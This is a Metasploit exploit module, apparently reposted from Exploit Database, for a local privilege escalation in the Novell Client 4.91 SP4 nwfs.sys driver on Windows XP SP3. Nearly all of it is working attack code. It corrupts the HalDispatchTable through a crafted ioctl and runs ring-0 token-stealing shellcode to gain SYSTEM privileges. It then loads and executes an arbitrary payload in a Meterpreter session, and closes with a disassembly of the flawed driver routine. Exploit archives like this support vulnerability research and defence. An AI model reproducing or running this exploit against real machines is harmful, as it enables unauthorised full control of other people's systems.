Novell Client 4.91 SP4 – ‘nwfs.sys’ Local Privilege Escalation (Metasploit)

• Exploit Database
• 18 阅读

• 作者： Metasploit
  日期： 2013-06-24
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/26418/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  require 'rex'
  require 'msf/core/post/common'
  require 'msf/core/post/windows/priv'
  
  class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking
  
  include Msf::Post::Common
  include Msf::Post::Windows::Priv
  
  def initialize(info={})
  super(update_info(info, {
  'Name'=> 'Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation',
  'Description'=> %q{
  This module exploits a flaw in the nwfs.sys driver to overwrite data in kernel
  space. The corruption occurs while handling ioctl requests with code 0x1438BB,
  where a 0x00000009 dword is written to an arbitrary address. An entry within the
  HalDispatchTable is overwritten in order to execute arbitrary code when
  NtQueryIntervalProfile is called. The module has been tested successfully on
  Windows XP SP3 with Novell Client 4.91 SP4.
  },
  'License' => MSF_LICENSE,
  'Author'=>
  [
  'Ruben Santamarta', # Vulnerability discovery and PoC
  'juan vazquez' # MSF module
  ],
  'Arch'=> ARCH_X86,
  'Platform'=> 'win',
  'SessionTypes'=> [ 'meterpreter' ],
  'DefaultOptions' =>
  {
  'EXITFUNC' => 'thread',
  },
  'Targets' =>
  [
  # Tested with nwfs.sys 4.91.4.7 as installed with Novell Client 4.91 SP4
  [ 'Automatic', { } ],
  [ 'Windows XP SP3',
  {
  'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
  '_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct
  '_TOKEN' => "\xc8",# Offset to TOKEN from the _EPROCESS struct
  '_UPID' => "\x84", # Offset to UniqueProcessId FROM the _EPROCESS struct
  '_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct
  }
  ]
  ],
  'References'=>
  [
  [ 'OSVDB', '46578' ],
  [ 'BID', '30001' ],
  [ 'URL', 'http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5028543.html' ]
  ],
  'DisclosureDate'=> 'Jun 26 2008',
  'DefaultTarget' => 0
  }))
  
  end
  
  def add_railgun_functions
  session.railgun.add_function(
  'ntdll',
  'NtAllocateVirtualMemory',
  'DWORD',
  [
  ["DWORD", "ProcessHandle", "in"],
  ["PBLOB", "BaseAddress", "inout"],
  ["PDWORD", "ZeroBits", "in"],
  ["PBLOB", "RegionSize", "inout"],
  ["DWORD", "AllocationType", "in"],
  ["DWORD", "Protect", "in"]
  ])
  
  session.railgun.add_function(
  'ntdll',
  'NtDeviceIoControlFile',
  'DWORD',
  [
  [ "DWORD", "FileHandle", "in" ],
  [ "DWORD", "Event", "in" ],
  [ "DWORD", "ApcRoutine", "in" ],
  [ "DWORD", "ApcContext", "in" ],
  [ "PDWORD", "IoStatusBlock", "out" ],
  [ "DWORD", "IoControlCode", "in" ],
  [ "LPVOID", "InputBuffer", "in" ],
  [ "DWORD", "InputBufferLength", "in" ],
  [ "LPVOID", "OutputBuffer", "in" ],
  [ "DWORD", "OutPutBufferLength", "in" ]
  ])
  
  session.railgun.add_function(
  'ntdll',
  'NtQueryIntervalProfile',
  'DWORD',
  [
  [ "DWORD", "ProfileSource", "in" ],
  [ "PDWORD", "Interval", "out" ]
  ])
  session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
  session.railgun.add_function(
  'psapi',
  'EnumDeviceDrivers',
  'BOOL',
  [
  ["PBLOB", "lpImageBase", "out"],
  ["DWORD", "cb", "in"],
  ["PDWORD", "lpcbNeeded", "out"]
  ])
  session.railgun.add_function(
  'psapi',
  'GetDeviceDriverBaseNameA',
  'DWORD',
  [
  ["LPVOID", "ImageBase", "in"],
  ["PBLOB", "lpBaseName", "out"],
  ["DWORD", "nSize", "in"]
  ])
  end
  
  def open_device(dev)
  
  invalid_handle_value = 0xFFFFFFFF
  
  r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)
  
  handle = r['return']
  
  if handle == invalid_handle_value
  return nil
  end
  
  return handle
  end
  
  def find_sys_base(drvname)
  results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
  addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
  
  addresses.each do |address|
  results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
  current_drvname = results['lpBaseName'][0..results['return'] - 1]
  if drvname == nil
  if current_drvname.downcase.include?('krnl')
  return [address, current_drvname]
  end
  elsif drvname == results['lpBaseName'][0..results['return'] - 1]
  return [address, current_drvname]
  end
  end
  
  return nil
  end
  
  def execute_shellcode(shell_addr)
  
  vprint_status("Creating the thread to execute the shellcode...")
  ret = session.railgun.kernel32.CreateThread(nil, 0, shell_addr, nil, "CREATE_SUSPENDED", nil)
  if ret['return'] < 1
  vprint_error("Unable to CreateThread")
  return nil
  end
  hthread = ret['return']
  
  vprint_status("Resuming the Thread...")
  ret = client.railgun.kernel32.ResumeThread(hthread)
  if ret['return'] < 1
  vprint_error("Unable to ResumeThread")
  return nil
  end
  
  return true
  end
  
  def ring0_shellcode(t)
  restore_ptrs ="\x31\xc0"# xor eax, eax
  restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L")# mov eax, offset hal!HaliQuerySystemInformation
  restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax
  
  tokenstealing ="\x52" # push edx # Save edx on the stack
  tokenstealing << "\x53" # push ebx # Save ebx on the stack
  tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
  tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
  tokenstealing << "\x8b\x40" + t['_KPROCESS']# mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
  tokenstealing << "\x8b\xc8" # mov ecx, eax
  tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00"# mov ebx, dword ptr [eax+0C8h]# Retrieves TOKEN
  tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00"# mov eax, dword ptr [eax+88h]<====| # Retrieve FLINK from ActiveProcessLinks
  tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00"# sub eax,88h| # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
  tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
  tokenstealing << "\x75\xe8" # jne 0000101e ======================
  tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00"# mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
  tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
  tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00"# mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
  tokenstealing << "\x5b" # pop ebx# Restores ebx
  tokenstealing << "\x5a" # pop edx# Restores edx
  tokenstealing << "\xc2\x10" # ret 10h# Away from the kernel!
  
  ring0_shellcode = restore_ptrs + tokenstealing
  return ring0_shellcode
  end
  
  def fill_memory(proc, address, length, content)
  
  result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
  
  if not proc.memory.writable?(address)
  vprint_error("Failed to allocate memory")
  return nil
  else
  vprint_good("#{address} is now writable")
  end
  
  result = proc.memory.write(address, content)
  
  if result.nil?
  vprint_error("Failed to write contents to memory")
  return nil
  else
  vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
  end
  
  return address
  end
  
  def disclose_addresses(t)
  addresses = {}
  
  vprint_status("Getting the Kernel module name...")
  kernel_info = find_sys_base(nil)
  if kernel_info.nil?
  vprint_error("Failed to disclose the Kernel module name")
  return nil
  end
  vprint_good("Kernel module found: #{kernel_info[1]}")
  
  vprint_status("Getting a Kernel handle...")
  kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
  kernel32_handle = kernel32_handle['return']
  if kernel32_handle == 0
  vprint_error("Failed to get a Kernel handle")
  return nil
  end
  vprint_good("Kernel handle acquired")
  
  
  vprint_status("Disclosing the HalDispatchTable...")
  hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable")
  hal_dispatch_table = hal_dispatch_table['return']
  if hal_dispatch_table == 0
  vprint_error("Failed to disclose the HalDispatchTable")
  return nil
  end
  hal_dispatch_table -= kernel32_handle
  hal_dispatch_table += kernel_info[0]
  addresses["halDispatchTable"] = hal_dispatch_table
  vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")
  
  vprint_status("Getting the hal.dll Base Address...")
  hal_info = find_sys_base("hal.dll")
  if hal_info.nil?
  vprint_error("Failed to disclose hal.dll Base Address")
  return nil
  end
  hal_base = hal_info[0]
  vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")
  
  hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
  addresses["HaliQuerySystemInfo"] = hali_query_system_information
  
  vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}")
  return addresses
  end
  
  
  def exploit
  
  vprint_status("Adding the railgun stuff...")
  add_railgun_functions
  
  if sysinfo["Architecture"] =~ /wow64/i
  fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported")
  elsif sysinfo["Architecture"] =~ /x64/
  fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported")
  end
  
  my_target = nil
  if target.name =~ /Automatic/
  print_status("Detecting the target system...")
  os = sysinfo["OS"]
  print_status("#{os.inspect}")
  if os =~ /windows xp/i
  my_target = targets[1]
  print_status("Running against #{my_target.name}")
  end
  else
  my_target = target
  end
  
  if my_target.nil?
  fail_with(Exploit::Failure::NoTarget, "Remote system not detected as target, select the target manually")
  end
  
  print_status("Checking device...")
  handle = open_device("\\\\.\\nwfs")
  if handle.nil?
  fail_with(Exploit::Failure::NoTarget, "\\\\.\\nwfs device not found")
  else
  print_good("\\\\.\\nwfs found!")
  end
  
  print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")
  @addresses = disclose_addresses(my_target)
  if @addresses.nil?
  session.railgun.kernel32.CloseHandle(handle)
  fail_with(Exploit::Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.")
  else
  print_good("Addresses successfully disclosed.")
  end
  
  
  print_status("Storing the kernel stager on memory...")
  this_proc = session.sys.process.open
  kernel_shell = ring0_shellcode(my_target)
  kernel_shell_address = 0x1000
  result = fill_memory(this_proc, kernel_shell_address, 0x1000, kernel_shell)
  if result.nil?
  session.railgun.kernel32.CloseHandle(handle)
  fail_with(Exploit::Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
  else
  print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
  end
  
  print_status("Storing the trampoline to the kernel stager on memory...")
  trampoline = "\x90" * 0x20 # nops
  trampoline << "\x68" # push opcode
  trampoline << [0x1000].pack("V") # address to push
  trampoline << "\xc3" # ret
  trampoline_addr = 0x3
  result = fill_memory(this_proc, trampoline_addr, 0x1000, trampoline)
  if result.nil?
  session.railgun.kernel32.CloseHandle(handle)
  fail_with(Exploit::Failure::Unknown, "Error while storing trampoline on memory")
  else
  print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
  end
  
  print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
  magic_ioctl = 0x1438BB
  ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, @addresses["halDispatchTable"] + 0x4, 0x10, 0, 0)
  session.railgun.kernel32.CloseHandle(handle)
  
  print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
  result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
  
  print_status("Checking privileges after exploitation...")
  
  if not is_system?
  fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful")
  else
  print_good("Exploitation successful!")
  end
  
  print_status("Storing the final payload on memory...")
  shell_address = 0x0c0c0000
  result = fill_memory(this_proc, shell_address, 0x1000, payload.encoded)
  if result.nil?
  fail_with(Exploit::Failure::Unknown, "Error while storing the final payload on memory")
  else
  print_good("Final payload successfully stored at 0x#{shell_address.to_s(16)}")
  end
  
  print_status("Executing the payload...")
  result = execute_shellcode(shell_address)
  if result.nil?
  fail_with(Exploit::Failure::Unknown, "Error while executing the payload")
  else
  print_good("Enjoy!")
  end
  
  end
  
  end
  
  =begin
  
  [*] Corruption
  
  .text:0005512E sub_5512E proc near ; CODE XREF: ioctl_handler_sub_2FE4C+295p
  .text:0005512E ; sub_405C4+29Bp
  .text:0005512E
  .text:0005512E ms_exc= CPPEH_RECORD ptr -18h
  .text:0005512E arg_0 = dword ptr8
  .text:0005512E
  .text:0005512E push8
  .text:00055130 pushoffset stru_79268
  .text:00055135 call__SEH_prolog
  .text:0005513A xor eax, eax
  .text:0005513C mov ecx, [ebp+arg_0]
  .text:0005513F mov ecx, [ecx+0Ch]
  .text:00055142 mov ecx, [ecx+60h]
  .text:00055145 mov ecx, [ecx+10h]
  .text:00055148 mov [ebp+ms_exc.registration.TryLevel], eax
  .text:0005514B mov dword ptr [ecx], 9 // Corruption
  
  =end